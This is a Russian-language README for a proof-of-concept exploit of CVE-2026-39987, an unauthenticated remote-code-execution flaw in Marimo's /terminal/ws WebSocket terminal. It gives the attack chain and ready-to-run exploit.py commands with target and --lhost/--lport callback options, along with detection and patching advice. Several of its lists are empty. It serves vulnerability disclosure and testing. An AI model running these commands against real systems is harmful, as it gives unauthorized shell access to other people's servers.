
Эксплойт proof-of-concept для CVE-2026-39987 — RCE без аутентификации в WebSocket-конечной точке терминала Marimo. Демонстрирует неаутентифицированное выполнение команд и включает проверочные тесты для уязвимых и пропатченных экземпляров.
| Свойство | Значение |
|---|
| CVE | CVE-2026-39987 |
| Продукт | Marimo |
| Уязвимость | Удалённое выполнение кода до аутентификации |
| Вектор атаки | Сеть |
| Аутентификация | Не требуется |
| Взаимодействие с пользователем | Не требуется |
| CWE | CWE-306 — Отсутствие аутентификации для критической функции |
| Критичность | Критическая |
| Исправленная версия | 0.23.0 |
CVE-2026-39987 — это критическая уязвимость удалённого выполнения кода (RCE) до аутентификации, затрагивающая Marimo — среду реактивных Python-ноутбуков. Уязвимость расположена в WebSocket-конечной точке терминала /terminal/ws.
Уязвимая конечная точка терминала создаёт интерактивный PTY после принятия WebSocket-соединения.
Концептуально поток уязвимого запроса выглядит так:
Удалённый клиент
|
| WebSocket-соединение
v
/terminal/ws
|
| Отсутствует проверка аутентификации
v
WebSocket принят
|
v
PTY создан
|
v
Интерактивная оболочка
Ключевой границей безопасности является отсутствие проверки аутентификации.
Конечная точка, предоставляющая произвольное выполнение команд, не должна позволять неаутентифицированному клиенту достигать логики создания PTY.
Цель данного проекта — продемонстрировать в контролируемой среде отсутствие принудительной аутентификации, затрагивающее WebSocket-конечную точку терминала Marimo.
Группы безопасности могут использовать проект для:
Предупреждение: Запускайте PoC только против систем, которыми вы владеете или на тестирование которых у вас есть явное разрешение.
Полная цепочка уязвимости может быть описана следующим образом:
1. Злоумышленник обнаруживает доступный экземпляр Marimo
|
v
2. Злоумышленник подключается к /terminal/ws
|
v
3. Аутентификация не применяется
|
v
4. WebSocket-соединение принимается
|
v
5. Создаётся PTY-терминал
|
v
6. Злоумышленник получает выполнение команд
|
v
7. Команды выполняются от имени процесса Marimo
Критический сбой безопасности происходит на шаге 3.
Python 3.7+
pip
Сетевой доступ к авторизованной цели
# Базовая установка
pip install websocket-client
# Полная установка
pip install websocket-client rich
python3 exploit.py --help
python3 exploit.py -u <TARGET_URL> --lhost <LOCAL_IP> --lport <PORT>
python3 exploit.py \
-u http://127.0.0.1:8081 \
--lhost 127.0.0.1 \
--lport 4444
python3 exploit.py \
-u https://marimo.example.com \
--lhost 192.168.1.100 \
--lport 5555 \
--timeout 30 \
--retries 5
python3 exploit.py \
-u http://target:8081 \
--lhost 10.0.0.5 \
--lport 9999 \
--verbose \
--no-verify-ssl \
--retry-delay 1.5
| Параметр | Тип | Описание | По умолчанию |
|---|---|---|---|
-u, --url | string | Базовый URL целевого экземпляра Marimo | Обязательный |
--lhost | string | IP-адрес слушателя | Обязательный |
--lport | int | Порт слушателя (1-65535) | Обязательный |
--timeout | int | Таймаут слушателя в секундах | 15 |
--retries | int | Повторные попытки WebSocket-соединения | 3 |
--retry-delay | float | Задержка между повторными попытками | 2.0 |
--no-verify-ssl | flag | Отключить проверку SSL-сертификатов | False |
-v, --verbose | flag | Включить подробный вывод | False |
-s, --silent | flag | Подавить вывод | False |
Фаза 1: Инициализация
↓ Проверка параметров
↓ Настройка журналирования
Фаза 2: Подготовка
↓ Инициализация слушателя
↓ Установка WebSocket-соединения
Фаза 3: Валидация
↓ Тестирование конечной точки терминала
↓ Проверка принудительной аутентификации
↓ Фиксация поведения соединения
Фаза 4: Демонстрация
↓ Установка авторизованной тестовой сессии
↓ Проверка контекста выполнения команд
↓ Сбор доказательств валидации
Фаза 5: Очистка
↓ Восстановление состояния терминала
↓ Закрытие соединений
↓ Освобождение ресурсов
python3 exploit.py \
-u http://vulnerable:8081 \
--lhost 10.0.0.1 \
--lport 4444
Ожидаемый результат: Уязвимая конечная точка терминала принимает неаутентифицированное соединение.
python3 exploit.py \
-u http://patched:8081 \
--lhost 10.0.0.1 \
--lport 4444
Ожидаемый результат: Соединение отклоняется или иным образом блокируется механизмами аутентификации.
python3 exploit.py \
-u http://firewalled:8081 \
--lhost 10.0.0.1 \
--lport 4444 \
--timeout 5
Ожидаемый результат: Таймаут корректно фиксируется.
Критичность: Критическая (CVSS 9.3)
Сложность: Низкая
Аутентификация: Не требуется
Воздействие: Удалённое выполнение кода
Протокол: WebSocket
Конечная точка: /terminal/ws
Исправленная версия: 0.23.0
Исходный README классифицирует проблему как CVSS 9.3 Critical и определяет CWE-306, WebSocket как протокол и /terminal/ws как затронутую конечную точку.
Возможные индикаторы эксплуатации включают неожиданные WebSocket-соединения к:
/terminal/ws
Защитникам следует расследовать:
Обновите Marimo до исправленной версии:
0.23.0 или новее
Дополнительные рекомендации по защите включают:
/terminal/ws.CVE: CVE-2026-39987
CWE: CWE-306
Критичность: Критическая
Тип: RCE до аутентификации
Протокол: WebSocket
Конечная точка: /terminal/ws
Аутентификация: Не требуется
Исправлено: 0.23.0
ТОЛЬКО АВТОРИЗОВАННОЕ ИСПОЛЬЗОВАНИЕ
Данный проект предоставляется исключительно для:
Несанкционированное использование строго запрещено и может нарушать применимое местное и международное законодательство.
Данный проект предоставляется для исследований безопасности, валидации уязвимостей и образовательных целей.
Не используйте PoC против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения.
Сопровождающие не несут ответственности за неправомерное использование, несанкционированное тестирование, ущерб, потерю данных или любые последствия, возникшие в результате использования данного проекта.